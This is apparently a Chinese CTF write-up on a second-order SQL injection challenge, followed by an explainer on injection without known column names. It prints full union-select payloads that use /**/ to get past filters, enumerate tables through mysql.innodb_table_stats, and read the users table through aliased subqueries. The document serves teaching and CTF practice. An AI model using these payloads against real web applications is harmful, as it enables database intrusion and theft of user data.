进入题目页面如下
猜测是二次注入
先注册一个账号
再登录,页面如下
点击申请发布广告
页面如上,存在注入点,尝试
判读是整数型注入还是字符型注入
猜解字段数,尝试发现or,#,空格等被过滤了,只能一个一个试
使用联合查询试试
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
居然有22个
测试后注入点在2处
爆出数据库名
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
数据库名为web1
爆出表名
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
表名是abs和users
爆出字段内容
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
终于得到了flag
无字段名注入
基本概念
在常规的 SQL 注入中,通常需要明确知道数据库表的字段名,然后通过构造恶意输入来干扰 SQL 语句的正常执行。而无字段名注入则是在不知道具体字段名的情况下,仍然能够实施注入攻击,获取数据库中的信息
产生原因
动态 SQL 语句构建:当开发人员在编写代码时,采用动态拼接 SQL 语句的方式,且对用户输入的验证和过滤不严格,就可能为无字段名注入提供机会。
通用查询接口:一些应用程序提供了通用的查询接口,允许用户输入条件进行数据查询,但没有对输入进行有效的限制,可以利用这个接口进行无字段名注入。
攻击原理
无字段名注入主要利用 SQL 语句的一些特性,如 ORDER BY
子句、GROUP BY
子句、LIMIT
子句等,结合盲注技术来逐步获取数据库信息。以下是几种常见的无字段名注入方法:
利用 ORDER BY
子句确定字段数量
SELECT * FROM users WHERE id = 1 ORDER BY 1 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 2 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 3 -- 报错
通过不断尝试不同的数字作为 ORDER BY
子句的参数,当返回报错时,说明表中的字段数量小于该数字,从而确定表中的字段数量。
利用 GROUP BY
子句和聚合函数获取数据
在确定了字段数量后,可以利用 GROUP BY
子句和聚合函数(如 COUNT
、SUM
等)来获取数据。例
SELECT COUNT(*), GROUP_CONCAT(column1, column2) FROM users GROUP BY id;
可以通过不断尝试不同的组合,结合盲注技术,逐步获取字段中的数据。
利用 LIMIT
子句逐行获取数据
在获取了表的字段数量后,可以使用 LIMIT
子句逐行获取数据。
SELECT * FROM users LIMIT 0, 1; -- 获取第一行数据
SELECT * FROM users LIMIT 1, 1; -- 获取第二行数据